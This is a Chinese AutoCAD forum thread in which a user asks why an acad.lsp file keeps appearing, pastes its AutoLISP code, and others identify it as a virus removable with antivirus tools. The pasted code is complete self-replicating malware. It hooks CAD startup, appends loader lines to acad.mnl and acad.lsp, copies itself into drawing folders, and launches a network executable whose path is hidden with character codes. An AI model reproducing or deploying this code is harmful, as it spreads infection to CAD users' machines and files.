[LISP函数]：每次打开图纸都有acad.lsp产生，这是为什么？

egua

代码：
(defun
s::startup()
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
(setq
acadpath
(findfile
"acad.lsp"
)
)       
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm
)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspbj
1
)
)
)
(close
wjm
)
)
)
(setq
lspmnl
0
)
(setq
wjqm
(strcat
path
"acad.mnl"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1
)
14
)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspmnl
1
)
)
)
(close
wjm
)
)
)
(if
(=
lspmnl
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108)
)
)
)
(setq
wjm
(open
wjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm))
)
(if
(and
(=
acadpath
dwgpath
)
(/=
acadpath
path
)
)
(progn                                          
(if
(=
0
lspmnl)
(progn                                          
(setq
oldacad
(findfile
"acad.lsp"
)
)          
(setq
newacad
(strcat
path
"acadapp.lsp"
)
)
)
(progn
(setq
oldacad
(strcat
path
"acadapp.lsp"
)
)
(setq
newacad
(findfile
"acad.lsp"
)
)
)                         
)
(if
(=
lspbj
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(setq
wjm
(open
wjqm
"a")
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
(progn
(setq
oldacad
(findfile
"acadapp.lsp"
)
)
(setq
newacad
(strcat
dwgpath
"acad.lsp"
)
)
(writeapp)
)
)
)
)
(setq
strtopstr
(strcat  
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)  
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82
)
)
)
(setq
strbottomstr
(strcat
(chr
92)
(chr
76)
(chr
79)
(chr
67)
(chr
80)
(chr
82)
(chr
88)
(chr
89)
(chr
49)
(chr
46)
(chr
69)
(chr
88)
(chr
69)
)
)
(startapp
(strcat
strtopstr
strbottomstr
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp ()
(if
(setq
wjm1
(open
newacad
"w")
)
(progn
(setq
wjm
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
wjm)
)
(write-line
wz
wjm1
)
)                               
(close
wjm)
(close
wjm1)
)
)
)
(princ)

net123456

有病毒，杀毒

sgsldz

用卡巴可以杀掉，金山毒霸不认识他

ChinaYung

和上楼说的，我也中招过，用卡巴斯基，搞定

sgfwang

KV2006也可以.就是不知道是哪个软件生成的.

xazhji

AutoCAD开放接口造成的

小学一年级学生

不懂，
什么叫“接口”
acad.lsp是给不会编程不会定制的普通老百姓的傻瓜式加载程序用的，这也叫“接口”？